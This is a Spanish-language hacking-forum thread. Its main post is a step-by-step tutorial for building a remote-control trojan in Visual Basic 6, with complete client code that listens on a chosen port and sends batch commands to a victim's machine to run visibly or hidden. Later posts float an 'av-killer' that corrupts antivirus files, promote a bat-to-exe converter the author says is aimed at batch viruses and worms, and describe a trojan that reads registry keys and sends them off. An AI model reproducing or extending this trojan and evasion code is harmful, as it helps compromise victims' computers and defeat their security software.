bueno con este manual planeo enseñar como crear un troyano de dificultad media con conocimientos basicos:
materiales:

• CSocketMaster descargar aqui
  
• visual basic 6
• Ganas de aprender

partes
bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
1ª_parte
Cliente
bueno empesaremos a programar el cliente.
Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas)  , luego dentro del evento click del command1 pondremos

frame1.visible = true

osea el code completo del programa seria

Private Sub Command1_Click()
Frame1.Visible = True
End Sub

luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
la parte grafica debe estar quedando mas o menos asi.

Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos

On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
timer1.Enabled = True 'abilitaremos el timer1

luego pondremos en el evento timer del timer1 el siguinte codigo:

If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado

esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
aora en el evento click del command2 que es el que dice conectar pondremos

On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close                                                            'cierra cualquier conexion que alla con este programa
ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando

esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:

If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if

bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :

Private Sub Command2_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close                                                            'cierra cualquier conexion que alla con este programa
ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
 
 
 
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
 
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
 
 
End Sub
 
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Sub
 
 

bueno aora haremos el creaador de bats remoto.
primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos

Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2

i en el evento click del command1 ponemos

Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1

osea el code de estos dos botones queda asi:

Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
End Sub

bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
 deberia estar quedando mas o menos asi:

bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones

vista = "true" ' cambiamos la variable vista a true

i en el evento click del option2

vista = "falso" ' cambiamos la variable vista a falso

luego declaramos la variable global separador tipo string i en el evento load del form ponemos

separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano

 luego en el evento click del command5 ponemos ponemos

ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista

bueno asta aca el codigo completo seria

Dim separador As String
Dim vista As String
 
 
Private Sub Command1_Click()
Frame2.Visible = False ' ocultamos el frame2
Frame1.Visible = True ' mostramos el frame1
End Sub
 
Private Sub Command2_Click()
On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
ws.Close                                                            'cierra cualquier conexion que alla con este programa
ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
End Sub
 
 
 
Private Sub Command3_Click()
If ws.State = 7 Then 've si estamos conectados
ws.Close ' si estamos conectados nos desconecta
Else
 
 MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
End If 'teminamos el if
End Sub
 
Private Sub Command4_Click()
Frame1.Visible = False ' ocultamos el frame1
Frame2.Visible = True ' mostramos el frame2
 
End Sub
 
 
Private Sub Command5_Click()
ws.SendData Text2.Text & separador & vista
End Sub
 
Private Sub Form_Load()
separador = "@^^^%/()!||||¿?¿?¿?_--"
End Sub
 
Private Sub Option1_Click()
vista = "true"
End Sub
 
Private Sub Option2_Click()
vista = "falso"
End Sub
 
Private Sub Timer1_Timer()
If ws.State = 0 Then
Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
ws.Close 'cerramos la conexion
ws.Listen 'escuchamos
End If ' teminamos el if
If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
 
 
End Sub
 
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next 'esto es para que en un error prosiga i no pare
ws.Close 'cerramos la conexion
ws.Accept requestID 'acepta cualquier conexion entrante
Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
Timer1.Enabled = True 'abilitaremos el timer1
End Sub

bueno,quiero saber si ai un modo para que si ejecuto un comando en una cmd con i luego ponga los dos comandos me aparescan en la misma cmd ya que si lo ago como lo puse ai se me abren 2 cmds distintos
gracias de antemano

bueno el otro dia buscando cosas para VB encontre este visor de api's ,viene con el source code i todo para que vean como se usan ,bueno les dejo el link
descargar

para un av-killer serviria por ejemplo que abra los archiovos de los antivirus en modo bynario i les pusiera cualquier cosa yo se que para los archivos normales los hecha a perder pero no se si tienen alguna proteccion contra esto mi pregunta es 
¿¿¿¿esto desabilitaria el  av???

pd:perdon por no probarlo yo mismo pero estoi en la casa de una tia que no tiene ni el vb6 ni antivirus

bueno aca viene la segunda version de mi programa que la postie con el soruce code en l aseccion de vb pero por problemas voi a poder poner el puro programa i nada mas hasta como 5 dias

bueno para los que no sepan que hace mi programa lo que hace es transformar un bat a un exe ademas de agregarle opciones de bloqueos i forma oculta o visible de ejecucion.la diferencia con el 1.5 es que este cifra el archivo bat cosa que nadie lo pueda modificar
descargar:http://rapidshare.com/files/94985485/transformer_2.0_by_krackwar.rar.html

bueno aca les dejo mi nueva creacion que la hice en un mometo de aburrimiento .Bueno le explicare lo que hace mi creacion


transformer

explicare mi creacion
¿que hace?
transforma un archivo *.bat a *.exe
¿que opciones tiene?
bueno como esta es la primera version solo tiene la opcion de hacer que el archivo se ejecute visible o ocultamente
¿a que tipo de programas esta orientado?
a los virus, gusanos ,etc... que esten hechos en batch

descargar:http://rapidshare.com/files/93840629/transformer_by_me.rar.html

alguien sabe como puedo hacer para que si tengo dos frame en un mismo lugar que al apretar un boton me muestre un frame i al apretar otro me esconda el primer frame i mustre el segundo i si aprieto otro boton que me oculte el segundo frame i me muestre el primero

gracias de antemano

saludoz

ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------
.-----en el cliente-------
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería


gracias de antemano

ola ,  por que me sale esto al compilar

ola , mi pregunta es si se puede "filtrar el contenido de un mensaje privado" para que no te puedan emviar mensajes privados como este